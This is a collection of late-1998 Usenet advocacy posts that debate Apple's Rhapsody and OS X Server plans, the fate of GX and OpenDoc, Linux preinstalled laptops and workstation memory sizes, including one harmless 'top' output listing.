> "Rotten Apple: Before iMac came the Rhapsody OS -- the *first* savior of
> Steve Jobs' enterprise. How many software developers wasted their time on a
> product that never saw the light of day?"
> Quibble with the details if you like, but you have to admit this is the
> common perception.
Created by Apple through the shell-game switch from 'Rhapsody'
to 'OS X'.
That said, I have to wonder if any of the software developers have
the same interpretation of Rhapsody's 'death' that PC Week has. If
they think their work is wasted, they must not have done much work
on Rhapsody in the first place. If they were using AppKit, they
should be able to use their code on OS X and Windows.
Wasted time isn't the problem, it's the delay until that work
can generate revenue.
The worst part of this statement might be that the answer to
the question 'how many' is 'not many at all'.
On (what a good-natured liar with a cataract might call) the bright
side, the 'taint' is on Rhapsody, the trademark, not on OS X, the
future product.
That's the same technique Microsoft's been following with
OLE/ActiveX/blah/blah/blah, renaming it and re-hyping it
every so often, hoping to remove the stigma of the old
failed name so that the blighted technology might actually
take off. If perception is that 'ActiveX sucks', rename
it and hype the things that don't suck about it. Repeat.
Hopefully Apple won't need to go through so many iterations.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
and Apple's graphics)
Date: 26 Nov 98 00:32:53 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2825238-C25F@206.165.43.12>
References: <73ie0q$35j@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Sal Denaro <sal@panix.com> said:
>Some GX technologies are being saved, some are being killed. It isn't
>because
>Steve Jobs is out to get you. It isn't because of a conspiracy of NeXT
users
>to kill GX. It is because, at some point, a bunch of Apple execs sat in a
>room with Steve and Avie and decided that some technologies were key
>assets
>and some were either expendable, or too costly to maintain.
That's a wonderful theory. However, it doesn't really jive with the facts.
It's like suggesting that "since no-one else was using OpenDoc, why should
Apple?" when in fact, it is obvious from the DoD evidence that OpenDoc was
an explicit target of Bill Gate's Microsoft Uber Alles campaign.
I think that it should be obvious that GX or any other universally
available Apple graphics technology that does more than what Adobe would
like is ALSO a forbidden technology.
>
>In the past two years we have seen you move from denial to anger. The next
>phase is depression and then finally acceptance. When you get to
>acceptance,
>come back to this newsgroup and I'm sure that all will be forgiven.
Seems to me that it is YOU that are in denial over the political forces at
work in dismantling the innovations that used to make Apple great.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
References: <72qhlo$gs2$1@nnrp1.dejanews.com> <johnc-1611982004130001@pppsl1041.chicagonet.net> <72qr43$3kj$1@fir.prod.itd.earthlink.net> <bholderness-1811981530000001@207-172-95-180.s53.as1.dwt.erols.com> <14C44EC81D75CB41.20941B0A27B3D88F.E3FF30CB25C20D39@library-proxy.airnews.net> <36543fbc.5998414@news.chicagonet.net> <adtF2pD5w.BJw@netcom.com> <734qin$f2o$1@plo.sierra.com> <adtF2rCJr.MFB@netcom.com> <36570ce8.0@news1.ibm.net> <73agp7$bfh$1@news01.btx.dtag.de> <199811251822391661978@mp-40-112.daxnet.no>
Subject: Re: Why it is inevitable that Apple will become a Linux company
Message-ID: <Qu772.1082$6%4.8562@news14.ispnews.com>
NNTP-Posting-Date: Thu, 26 Nov 1998 02:33:04 EDT
Organization: ISPNews http://ispnews.com
Date: Wed, 25 Nov 1998 23:28:44 -0800
Thomas Sivertsen wrote in message
<199811251822391661978@mp-40-112.daxnet.no>...
>
>OPENSTEP/Rhapsody/Mac OS X could relatively easily be made to do SMP,
>and IIRC just that was shown at WWDC `98, last May (on a 604e MP
>machine).
I wouldn't bet on a demo being a good indication of feasability.
> The reason it`s not dooooen yet is that they have other
>features to add and Apple hasn`T got any SMP hardware for sale yet.
They used to. Some of those machines will probably run OS X Server. Also,
won't OS X Server run on Intel machines? There are plenty of SMP Intel
machines. Weak excuse. I can't think of another Unix that doesn't do SMP
other than OS X Server.
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: phm@a2e.de (PILCH Hartmut)
Subject: Linux preinstalled laptops?
Organization: Asia-Europa Sprachendienste Pilch und Wang
Message-ID: <F2x7L2.t1@a2e.de>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net>
Date: Tue, 24 Nov 1998 09:55:49 GMT
Toon Moene <toon@moene.indiv.nluug.nl> writes:
>Whoops. I'm glad I got Linux running on my new Compaq Laptop then - the only
>thing left is buying a modem card and a printer - must be possible in the
>remaining 13 months ...
I'm about to buy a laptop/notebook, and it has to be with Linux preinstalled,
since I don't want to risk spending weeks on studying PCMCIA drivers.
I heard that Compaq laptops are all "Linux compatible". Is that true?
Do they also offer preinstallation?
In Munich, CompuPlus (www.compuplus.de) does offer that, but I don't know
for sure about anyone else.
--
Hartmut Pilch
http://www.a2e.de/phm/
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: whistler@twcny.rr.com (Paul E Larson)
Subject: Re: Linux preinstalled laptops?
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de>
Message-ID: <dX772.2716$gt1.9709257@newse1.twcny.rr.com>
Date: Thu, 26 Nov 1998 08:08:29 GMT
NNTP-Posting-Date: Thu, 26 Nov 1998 03:03:21 EDT
Organization: TWC Road Runner
In article <F2x7L2.t1@a2e.de>, phm@a2e.de (PILCH Hartmut) wrote:
>Toon Moene <toon@moene.indiv.nluug.nl> writes:
>
>>Whoops. I'm glad I got Linux running on my new Compaq Laptop then - the only
>>thing left is buying a modem card and a printer - must be possible in the
>>remaining 13 months ...
>
>I'm about to buy a laptop/notebook, and it has to be with Linux preinstalled,
>since I don't want to risk spending weeks on studying PCMCIA drivers.
Here is another company in Germany that sells notebooks with Linux
preinstalled. I found it at http://www.linux.org/vendors/systems.html.
http://www.suse.de/suse_comp/index.html
Paul
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
References: <7329lg$ot0$1@nnrp02.primenet.com> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <w0bzp9fcwev.fsf@mah21awu.YP.sparcm1>
Organization: NIL
From: token@cip.informatik.uni-wuerzburg.de (Matthias Buelow)
Message-ID: <365d0cb6.0@uni-wuerzburg.de>
Date: 26 Nov 98 08:09:26 GMT
In article <w0bzp9fcwev.fsf@mah21awu.YP.sparcm1>, <nospam@nospam.com> wrote:
>> Well, the HP-UX workstations we run at work seem to always have
>> minimum 64MB of memory, and in many cases 128MB. Not to mention the
>> bigger HP-UX machines...
>
>This doesn't surprise me. If your company is anything like mine, then they
>buy all their hardware, including RAM, from the hardware vendor... who has
>a vested interest in selling you more than you need, right? :-)
I would think that 64mb or even 128mb is rather on the low end on decent
workstations today (although a HP doesn't eat memory alive like an Alpha
AXP does, for example). Most home PeeCees have 64-128mb today.
--
Matthias K. Buelow * Boycott Micro$oft, see http://www.vcnet.com/bms/ *
Windows NT has detected that the mouse has moved. Reboot the computer for
these changes to take effect. -- George Dau
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 26 Nov 1998 11:51:39 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <73jfcb$cef$2@sun27.hrz.tu-darmstadt.de>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
gmgraves@slip.net (George Graves) wrote:
>I've often wondered what the point of releasing OS-X Server actually is.
>Apple says that there is never going to be anything beyond v.1.0, and that
>OSX-Server won't have Carbon support, so basically what you get is an
>OS which will run Yellow-Box apps, or current MacOS apps (in a container)
>along with Java apps. Doesn't seem very compelling to me. There aren't
>that many Yellow-Box apps (and won't be despite the fact that the Yellow
>Box is a far better cross-platform development environment than is Java)
>and the MacOS that they are saying OS-X server will ship with is OS8.1.
>If Apple did decide to shelve it and go directly for the gold, it wouldn't
>surprise me, and its probably NOT a bad move.
a) what makes you so sure that OSXS will not support Carbon
b) WebObjects.
we, too, will put our corporate money where our mouth is.
Regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rohit! Lookin' good, my man!
Date: 26 Nov 1998 11:42:44 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <73jerk$cef$1@sun27.hrz.tu-darmstadt.de>
References: <73ih61$1t5@crab.afs.com>
"Greg Anderson" <greg@afs.com> wrote:
>Just got done watching Robert Cringely's new show, "Nerds 2.0.1: A Brief
>History of the Internet." In the third hour, long-time c.s.n.advocacy
>participant Rohit Khare (now with W3C) gets some face time, along with Tim
>Berners-Lee. Unfortunately, we don't get a peek at Tim's original NeXT-based
>browser. In fact, NeXT's name doesn't come up at all. 8^( Good show
>otherwise, though.
just wanted to add that Rohit is still in the NSBusiness, and I hope
we'll see some excellent software RSN.. both thumbs up, Rohit!
Chris
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
From: raxelbrof@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: OS X Server Interface
Date: Thu, 26 Nov 1998 12:15:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73jgpn$rnn$1@nnrp1.dejanews.com>
For anyone who hasn't been to www.appleinsider.com (formerly MacNN Reality)
there is a pretty good look at an OS X Server beta.
Amongst the juicy bits this...
"Each menu can be torn off individually and will float on the screen as a
floating menu, not a floating window. Multiple menus can be torn off at the
same time, as can sub-menus; and if you are really into it, you can tear of
the entire menu bar into a "File Manager" menu. The feature seems a little
quirky as you switch between app lications where each has their menus torn
off, but in reality the feature is performing naturally."
This bit "you can tear of the entire menu bar" - WOW!
So it would appear that from the NeXT interface OS X is going to get not only
dock like tiled running apps but the ability to totally lose the single
menubar.
The screenshots shown look pretty good and theres an expected dialogue about
OS X Server not being easy enough to use to be apples mainstream OS. It also
notes that FTP has to be done from the command line, is there no GUI based
FTP app for OS X Server yet - one would assume they're only talking about
what Apple has built into the beta and not mentioning 3rd party stuff.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: jsheehy@ix.netcom.com (John Sheehy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Thu, 26 Nov 1998 12:48:03 GMT
Organization: ICGNetcom
Message-ID: <367e4dcf.58109014@nntp.ix.netcom.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <w0bzp9fcwev.fsf@mah21awu.YP.sparcm1> <365d0cb6.0@uni-wuerzburg.de>
Mime-Version: 1.0
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token@cip.informatik.uni-wuerzburg.de (Matthias Buelow) wrote:
>Most home PeeCees have 64-128mb today.
Most serious users, not most PCs. Most PCs in active use probably are
closer to 32 megs.
--
<>>< ><<> ><<> <>>< ><<> <>>< <>>< ><<>
John P Sheehy <jsheehy@ix.netcom.com>
><<> <>>< <>>< ><<> <>>< ><<> ><<> <>><
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Interesting factoid...
Date: Thu, 26 Nov 1998 13:54:34 +0100
Organization: Completely Disorganized
Message-ID: <1dj3t3h.jrey3ry3x9qmN@port180.bonn.ndh.net>
References: <365cdbb2.0@news.depaul.edu>
NNTP-Posting-Date: 26 Nov 1998 12:54:31 GMT
Mail-Copies-To: never
User-Agent: MacSOUP/D-2.4b4
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> Somebody's been posting to rec.arts.sf.written, with an
> Apple email address, but a Javasoft organization, and
> a .sig explaining that she's a Javasoft employee working
> at Apple.
>
> (Does Javasoft still technically exist?)
>
> I didn't recognize the name as a Lighthouse person.
If I'm not mistaken you spotted LeeAnn who is employed by Sun, but works
at Apple on MRJ. Last time I checked she was regularly posting to
various java-related groups and time and again explained her status. So,
no conspiracy here and nothing new either.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.schuerig.de/michael/
From: asmith@nordnet.fr (Aaron Smith)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: What is wrong with Usenet...
Date: Thu, 26 Nov 1998 14:46:49 +0100
Organization: NordNet, l'Internet des gens du Nord
Message-ID: <1dj3fua.75k3f2117zm9sN@port1-178.nordnet.fr>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com> <cirby-1711981219330001@pm51-46.magicnet.net> <72sc3k$1c0m$1@nntp6.u.washington.edu> <3659BCA3.294708F3@spamtoNull.com> <cirby-2311981757030001@pm56-03.magicnet.net> <365B0916.DA268FD3@spamtoNull.com>
User-Agent: MacSOUP/2.4b3
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Chad Irby wrote:
> >
> > Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >
> > > And I'm also the same bozo who pointed out the obvious fact (yet again)
> > > that among all of those so-called "estate endorsements" *NOT ONE* of
> > > them ever said "So-and-so's estate thinks the Mac is the greatest." Not
> > > one. Not a single one *DIRECTLY* endorsed either Apple or the Mac in
> > > either print or television commercials.
> >
> > ...and the easy answer to that is "so what?"
> >
> > Of course, after dealing with some of Microsoft's retroactive history, I
> > can see why the typical Windows user might get confused and think Ameila
> > Earhart or Albert Einstein might have been computer users...
>
> Actually, it seems as if it's the Apple crowd who get confused on the
> subject, not me. They're the ones who think an estate's release of old
> pictures to be used in an ad campaign that doesn't mention the words
> "computer" or "Apple" or "Mac" is the exact same thing as a direct
> endorsement of the Mac by these very same estates. Not me...:)
There is a Big Fat Honkin' Difference between endorsing use of your
image (what orignal poster says) and "directly endorsing a product"
(called "testimonial", which is what you are saying)
The original poster's claim was not that these dead people endorsed the
Mac... Their ESTATES endorsed the USE of their IMAGE. This means Some
Apple PR guys went to the estates in question, explained the situation,
showed them a rough cut of the proposed commercial, and asked for
permission to use said images. The estates in question then said "yes"
(if they didn't then their images were probably dropped) and signed a
paper saying so. They backed up, supported, agreed to, endorsed, gave
permission for, etc. Apple's USE of the images. Without this
ENDORSEMENT, they would be opening themselves up to potential lawsuits.
(legally speaking, I'm not sure they were obligated to even consult the
estates, but that is another question)
What you are describing is called "testimonial". The estates in question
did NOT offer their testimonial. They endorsed Apple's use of the
images. They did not "endorse a product." No one ever said the contrary,
despite what you keep saying.
Here is a quote of the original passage:
"R. Tang" wrote:
>
> Remember, Chad, this is the bozo who keeps claiming that Steve
> Jobs never had endorsements from Ali, various estates, etc. to use them in
> the Think Different campaign.
Notice the absence of any refernce to "Mac" or "Computer" or "Apple". He
is talking about USE of IMAGES. nowhere does he say "testimonial" for
"Mac".
And now for your rebuttal to the above quote:
>Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>> And I'm also the same bozo who pointed out the obvious fact (yet
>>again)
>> that among all of those so-called "estate endorsements" *NOT ONE* of
>> them ever said "So-and-so's estate thinks the Mac is the greatest."
>>Not
>> one. Not a single one *DIRECTLY* endorsed either Apple or the Mac in
>> either print or television commercials.
The answer you got was "So what?" because everybody knows this.
Again, you are describing TESTIMONIAL. No. one. ever. said. anything.
about. testimonial or "direct endorsement of the mac". There was no
testimonial. There was ENDORSEMENT by the estates of commercial USE of
the IMAGES.
No one claimed that the dead people used macs. No one claimed (unless
you can produce a quote that I haven't seen) that their estates offered
TESTIMONIAL saying so. They said "yeah, we support your use of the
images. We endorse your use of the images. We give our stam of approval
for your USE ofthe IMAGES", not "We give our stamp of approval for the
iMac" Everybody Knows this. No one ever said the contrary.
<Rant>
My god. I've been reading hanging around UseNet since about 1992, and it
*amazes* me that almost *every* discussion on these newsgroups boils
down to two people using the SAME term in two different ways.
"object oriented" ("C++ is OO!!" "No it's not, you ignorant $#$@%!")
"Intuitive" ("Mac is Intuitive" "No it's not, you naive #$#%!#%!!!!")
"Monopoly" (Windows is a monopoly" "No, it only has 89% of the
market, you snot-nosed $%^&$#$^!!!!!")
And when people *do* describe their use of terminology, all they get in
return is "You are obviously ignorant of the correct and normal use of
the English language. Go read a dictionary, you ignorant #$%**$%%&!!!!!"
If people started out with:
"When I say OO, I mean something with at least: Introspection and NO
multiple Inheritace" or
"When I say Monopoly, I mean something that has 75% or greater
marketshare in a key market. By key market, I mean a market that
supplies the foundation for other markets."
...then about 95 percent of the traffic on these groups would dry up and
blow away, and the signal/noise ratio would go through the roof.
Then you could talk about what markets are "key" and why "MI is bad",
not flaming each other for 30 round-trips because "you are obviously
too ignorant to understand that these dead people didn't use Macs. You
are clearly deluded and in a state of severe Apple-worshipping
suck-uppitude. You're logic is severly flawed. Go read a book, you
ignorant#$^&##^^^!!!!!!" When the only problem is that you are using
the same term in 2 different ways, without explain what you understand
by "endorsement"
</rant>
I give up.
--
------------------------------------------------------
Aaron Smith
Dunkerque, France
------------------------------------------------------
From: asmith@nordnet.fr (Aaron Smith)
Newsgroups: comp.sys.next.advocacy
Subject: MocOS X beta hovering on the horizon?
Date: Thu, 26 Nov 1998 14:46:42 +0100
Organization: NordNet, l'Internet des gens du Nord
Message-ID: <1dj3ezs.jix8xaj6qqjcN@port1-178.nordnet.fr>
User-Agent: MacSOUP/2.4b3
Just a new set of thoughts to argue about regarding the whereabouts of
MacOS X Server...
According to the original "Timeline" for MacOS X, it was supposed to
have a beta release Q1 1999, correct? Followed by a final release in
late fall-winter 1999.
There were also several public demos (could have been rigged, of course)
of Photoshop, etc., running "Carbonized" on MacOSX Server post-DR2
build. The first of these demos dates to at least WWDC of 1998. 6 months
ago. Well...
It seems very logical to me that Apple will completely forego the "OSX
Server" release and go straight to a MW Jan. 98 release of OSX beta,
Carbon libs and all.
They want to forget about "Rhapsody" as a strategy (the press already
has). To the average joe, this would look like MacOS X is a little bit
ahead of schedule.
If they are anywhere close to releasing it, it would be worth the free
media attention at MacWorld to at least ANNOUCE the beta (for release 4
weeks later, etc.)
If they want to make an event of the beta release, they have limited
choices: MacWorld in January, or WWDC in MAY. The latter is definitely
behind schedule for a Q1 1999 beta release.
Thoughts? Comments? Flames?
--
------------------------------------------------------
Aaron Smith
Dunkerque, France
------------------------------------------------------
From: S S Sturrock <sss@holyrood.ed.ac.uk>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Thu, 26 Nov 1998 14:55:57 +0000
Organization: ICMB, University of Edinburgh
Message-ID: <365D6BFD.ADB@holyrood.ed.ac.uk>
References: <7329lg$ot0$1@nnrp02.primenet.com> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <w0bzp9fcwev.fsf@mah21awu.YP.sparcm1> <365d0cb6.0@uni-wuerzburg.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 26 Nov 1998 14:54:50 GMT
Matthias Buelow wrote:
> I would think that 64mb or even 128mb is rather on the low end on decent
> workstations today (although a HP doesn't eat memory alive like an Alpha
> AXP does, for example). Most home PeeCees have 64-128mb today.
I'm sorry but an Alpha is very happy running with `only' 64MB, we have a
couple at work and I have one at home running in only 48MB. Admittedly
this is running Linux but I don't notice it being any more of a memory
hog than my Intel based laptop.
The following is the load on my Alpha 533SX which is currently running
loads of services as well as X/KDE. Still trundling along at a merry
rate in only 64MB.
2:57pm up 37 days, 4:47, 4 users, load average: 0.06, 0.01, 0.00
57 processes: 55 sleeping, 2 running, 0 zombie, 0 stopped
CPU states: 1.1% user, 7.1% system, 0.0% nice, 92.0% idle
Mem: 62240K av, 55752K used, 6488K free, 48944K shrd, 2280K buff
Swap: 132088K av, 4176K used, 127912K free 31072K
cached
PID USER PRI NI SIZE RSS SHARE STAT LIB %CPU %MEM TIME
COMMAND
18886 root 10 0 2864 2864 2216 R 2656 7.0 2.3 0:02
nxterm
18897 sss 3 0 1232 1232 928 R 1176 0.9 0.9 0:00 top
18860 sss 1 0 5096 5096 4032 S 4712 0.1 4.0 0:00 kwm
1 root 0 0 296 224 152 S 176 0.0 0.1 0:02 init
2 root 0 0 0 0 0 SW 0 0.0 0.0 0:01
kflushd
3 root 17 17 0 0 0 SWN 0 0.0 0.0 0:00
kswapd
4 root 0 0 0 0 0 SW 0 0.0 0.0 0:00
nfsiod
5 root 0 0 0 0 0 SW 0 0.0 0.0 0:00
nfsiod
6 root 0 0 0 0 0 SW 0 0.0 0.0 0:00
nfsiod
7 root 0 0 0 0 0 SW 0 0.0 0.0 0:00
nfsiod
18786 root 0 0 592 592 480 S 560 0.0 0.4 0:00
mingetty
18870 root 0 0 3112 3112 2272 S 2864 0.0 2.5 0:00
nxterm
355 root 0 0 112 0 0 SW 0 0.0 0.0 0:00
mingetty
32 root 0 0 224 168 96 S 136 0.0 0.1 0:00
kerneld
196 root 0 0 576 536 416 S 480 0.0 0.4 0:01
syslogd
18871 sss 0 0 1704 1704 1200 S 1272 0.0 1.3 0:00 tcsh
216 daemon 0 0 240 160 88 S 128 0.0 0.1 0:00 atd
--
Dr. Shane Sturrock - sss@holyrood.ed.ac.uk
Linux, a better WinNT than WinNT
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
Message-ID: <F31C16.9yF@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: needs one
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12>
Mime-Version: 1.0
Date: Thu, 26 Nov 1998 15:22:18 GMT
In <B2825238-C25F@206.165.43.12> "Lawson English" wrote:
> That's a wonderful theory. However, it doesn't really jive with the facts.
> It's like suggesting that "since no-one else was using OpenDoc, why should
> Apple?" when in fact, it is obvious from the DoD evidence that OpenDoc was
> an explicit target of Bill Gate's Microsoft Uber Alles campaign.
No it's not. That's a tenuous thread of supposition you drew to support
your conspiracy theory..
> I think that it should be obvious that GX or any other universally
> available Apple graphics technology that does more than what Adobe would
> like is ALSO a forbidden technology.
It is not obvious. What is obvious is that no one was using it.
Maury
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
Message-ID: <F31C39.A0v@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: needs one
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12>
Mime-Version: 1.0
Date: Thu, 26 Nov 1998 15:23:32 GMT
In <B2825238-C25F@206.165.43.12> "Lawson English" wrote:
> Seems to me that it is YOU that are in denial over the political forces at
> work in dismantling the innovations that used to make Apple great.
Geez, you are off the deep end.
Maury
Sender: token@aruba.informatik.uni-wuerzburg.de
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
References: <7329lg$ot0$1@nnrp02.primenet.com> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <w0bzp9fcwev.fsf@mah21awu.YP.sparcm1> <365d0cb6.0@uni-wuerzburg.de> <365D6BFD.ADB@holyrood.ed.ac.uk>
From: Matthias Buelow <token@atlantis.informatik.uni-wuerzburg.de>
Date: 26 Nov 1998 16:41:36 +0100
Message-ID: <ye0k90iqx5b.fsf@aruba.informatik.uni-wuerzburg.de>
S S Sturrock <sss@holyrood.ed.ac.uk> writes:
> > I would think that 64mb or even 128mb is rather on the low end on decent
> > workstations today (although a HP doesn't eat memory alive like an Alpha
> > AXP does, for example). Most home PeeCees have 64-128mb today.
>
> I'm sorry but an Alpha is very happy running with `only' 64MB, we have a
> couple at work and I have one at home running in only 48MB. Admittedly
> this is running Linux but I don't notice it being any more of a memory
> hog than my Intel based laptop.
It depends on what you want to do, I found the HPs with hpux 10 and
vue with 48 megs running a VLSI design program with > 30mb text segment
much more usable than alphas with a similar workload. If you just
lightly load them as home machines, or for running a desktop with some
desktop apps, the 64mb alphas with dec unix and cde are usable aswell
(although they tend to swap a little (cde is fat)).
--
Matthias K. Buelow * Boycott Micro$oft, see http://www.vcnet.com/bms/ *
From: rgrempel@magi.com (Ryan Rempel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OS X Server Interface
Message-ID: <rgrempel-2611981130180001@ms01-569.tor.istar.ca>
References: <73jgpn$rnn$1@nnrp1.dejanews.com>
Date: Thu, 26 Nov 1998 11:30:17 -0400
NNTP-Posting-Date: Thu, 26 Nov 1998 11:30:50 EDT
One thing that surprised me in this report is the comment that PPP dial-up
connections don't work in either the Yellow Box or the Blue Box. Is that
true? It would certainly limit the use I was hoping to make of OS X
Server.
In article <73jgpn$rnn$1@nnrp1.dejanews.com>, raxelbrof@my-dejanews.com wrote:
>For anyone who hasn't been to www.appleinsider.com (formerly MacNN Reality)
>there is a pretty good look at an OS X Server beta.
--
Ryan Rempel
rgrempel@magi.com
http://infoweb.magi.com/~rgrempel/
Date: Thu, 26 Nov 1998 10:36:03 -0600
From: Esther@webis.net (Esther Kac)
Mail-Copies-To: alex@WebIS.net
Subject: Re: OS X Server Interface
Message-ID: <Esther-2611981036030001@cs48-197.austin.rr.com>
References: <73jgpn$rnn$1@nnrp1.dejanews.com>
Organization: Web IS
Newsgroups: comp.sys.next.advocacy
In article <73jgpn$rnn$1@nnrp1.dejanews.com>, raxelbrof@my-dejanews.com wrote:
>For anyone who hasn't been to www.appleinsider.com (formerly MacNN Reality)
>there is a pretty good look at an OS X Server beta.
>
>Amongst the juicy bits this...
>
>"Each menu can be torn off individually and will float on the screen as a
>floating menu, not a floating window. Multiple menus can be torn off at the
>same time, as can sub-menus; and if you are really into it, you can tear of
>the entire menu bar into a "File Manager" menu. The feature seems a little
>quirky as you switch between app lications where each has their menus torn
>off, but in reality the feature is performing naturally."
>
>This bit "you can tear of the entire menu bar" - WOW!
>
>So it would appear that from the NeXT interface OS X is going to get not only
>dock like tiled running apps but the ability to totally lose the single
>menubar.
>
>The screenshots shown look pretty good and theres an expected dialogue about
>OS X Server not being easy enough to use to be apples mainstream OS. It also
>notes that FTP has to be done from the command line, is there no GUI based
>FTP app for OS X Server yet - one would assume they're only talking about
>what Apple has built into the beta and not mentioning 3rd party stuff.
Unfortunately, what "AppleInsider" talks about is so old news. In fact,
they are only talking about DR2 it seems. Its been shown 6 months ago that
you could tear menus off including the whole menu bar - note that DOESN'T
mean the menus/menubar goes away. The single menu STILL stays there.
It kind of seemed like they weren't talking about the latest builds. I've
heard rumblings from Apple friends in the Server division of Apple here in
Austin who are running it that its farther along that that. But those are
rumblings only - have seen nothing.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Everyware Alliance Member
http://www.WebIS.net
From: theisen@akaMail.com (Dirk Theisen)
